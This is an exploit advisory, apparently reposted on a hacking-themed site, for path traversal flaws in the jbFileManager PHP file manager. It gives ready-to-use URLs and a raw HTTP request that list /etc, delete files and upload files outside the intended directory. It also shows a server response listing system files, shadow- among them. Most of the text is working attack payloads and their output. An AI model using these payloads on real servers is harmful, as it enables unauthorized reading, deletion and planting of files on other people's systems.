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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: jbFileManager - Path Traversal(view/add/delete)
# Date: 2016-06-15
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/ismiranda/jbFileManager
# Software Link: https://github.com/ismiranda/jbFileManager/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability Code

View dir
http://127.0.0.1/vul_test/jbFileManager/jbfm/jbfm.php?act=open&path=/../../../../../../../../../etc/

Delete file/dir
http://127.0.0.1/vul_test/jbFileManager/jbfm/jbfm.php?act=del&file=/../../deltest

Add file/dir
POST /vul_test/jbFileManager/jbfm/jbfm.php?act=upload&path=/jbfm/../../ HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Type: multipart/form-data; boundary=---------------------------218453159691639901924454468
Content-Length: 232

-----------------------------218453159691639901924454468
Content-Disposition: form-data; name="file"; filename="123.txt"
Content-Type: text/plain

asdfjasldfjaslkfjl

-----------------------------218453159691639901924454468--

### Vulnerability Request/Response  -> View dir

View
GET /vul_test/jbFileManager/jbfm/jbfm.php?act=open&path=/../../../../../../../../../etc/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/jbFileManager/jbfm/
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; PHPSESSID=rk2mj70ukt2489t4hrrsj5mr33; jiathis_rdc=%7B%22http%3A//127.0.0.1/vul_test/KodExplore/index.php%22%3A%220%7C1465950328195%22%7D
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 08:53:39 GMT
Server: Apache/2.4.10 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 12955
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

[{"name":"libaudit.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/libaudit.conf","class":"undefined"},{"name":"qemu-ifup","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/qemu-ifup","class":"undefined"},{"name":"rsyslog.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/rsyslog.conf","class":"undefined"},{"name":"smi.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/smi.conf","class":"undefined"},{"name":"inputrc","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/inputrc","class":"undefined"},{"name":"shadow-","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/shadow-","class":"undefined"},{"name":"rpc","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/rpc","class":"undefined"},{"name":"host.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/host.conf","class":"undefined"},{"name":"issue","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/issue","class":"undefined"},{"name":"ltrace.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/ltrace.conf","class":"undefined"},{"name":"subuid","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/subuid","class":"undefined"},
...snip...